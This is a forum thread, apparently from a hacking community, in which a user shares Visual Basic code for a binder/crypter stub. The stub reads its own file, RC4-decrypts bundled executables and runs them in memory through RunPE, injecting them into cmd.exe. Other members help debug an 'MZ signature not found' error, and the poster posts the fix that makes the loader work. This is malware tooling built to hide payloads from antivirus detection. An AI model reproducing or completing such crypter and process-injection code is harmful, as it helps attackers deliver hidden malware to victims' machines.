+ Reply to Thread
Results 1 to 6 of 6
  1. #1
    Junior Member
    Join Date
    May 2009
    Posts
    3

    MZ signature RunPE

    Small problem with this code for a binder/crypter

    Code:
    Dim Stub As String, Files() As String, i As Integer, sDecr() As String
    
    Open App.Path & "\" & "Bound" & ".exe" For Binary As #1 'open itself
    Stub = Space(LOF(1))  'buffer var Stub
    Get #1, , Stub 'load binary of Stub into var Stub
    Close #1
    
    Files = Split(Stub, Splitter) 'split stub into bound files, last split is the encryption key
    
    
    For i = 1 To (UBound(Files()) - 1) 'the last item in Files() is key not exe, first (0) is stub, so ignore those...
    RunExe "C:\WINDOWS\system32\cmd.exe", RC4(Files(i), Files(UBound(Files()))) 'decrypts the current exe [i] with the key [(ubound(files())].
    Next i
    I get "MZ signature not found!" error with RunPE. Any ideas?
    Appreciated.

  2. #2
    Member Mi4night's Avatar
    Join Date
    Nov 2008
    Posts
    86
    seems like u delete the MZ Dos Header when trying to use RunEXE

  3. #3
    Senior Member slayer616's Avatar
    Join Date
    Dec 2007
    Location
    Earth
    Posts
    1,474
    It looks like you try to Map a Non-PE-File into the Memory..

    Quote Originally Posted by francewar View Post
    TBH, i dont fucking care if we have a good rep @ OpenSc. Its the biggest skid forum ever. HF has alot more mature people then this forum.
    Doing custom coding. PM me for requests.

  4. #4
    Unregistered
    Guest
    I'm pretty sure the header is present, for example
    Code:
    MZ       ÿÿ  ¸       @                                   È   º ´  Í!¸LÍ!This program cannot be run in DOS mode.
    is a typical output of the RC4 function in the code in my first post. Also if I write the output of the RC4 into a file (by binary), the file is a valid executable.

    I think it might be to do with data types... can't figure it out though...
    RC4 outputs a string, I think RunEXE expects an array but how to do that?

  5. #5
    Junior Member
    Join Date
    May 2009
    Posts
    3
    Sorry didn't log in,
    anyway as I say I think it is due to data types... string vs byte/array
    any ideas?

  6. #6
    Junior Member
    Join Date
    May 2009
    Posts
    3
    Found it!

    The last line in the RC4 function is
    RC4 = StrConv(ByteArray, vbUnicode)

    This formatting throws off the RunEXE function,
    RC4 = ByteArray does the trick.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. (REQ) RunPe in delphi
    By pir4ta in forum Delphi Help
    Replies: 3
    Last Post: 25-04-2009, 02:05
  2. find signature
    By lord_viper in forum Delphi Help
    Replies: 2
    Last Post: 04-11-2008, 11:52
  3. making unique signature?
    By developer in forum Off-Topic
    Replies: 2
    Last Post: 06-03-2006, 17:17
  4. Animated Signature (ip)??
    By drkdreams in forum Off-Topic
    Replies: 3
    Last Post: 04-02-2006, 16:44

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.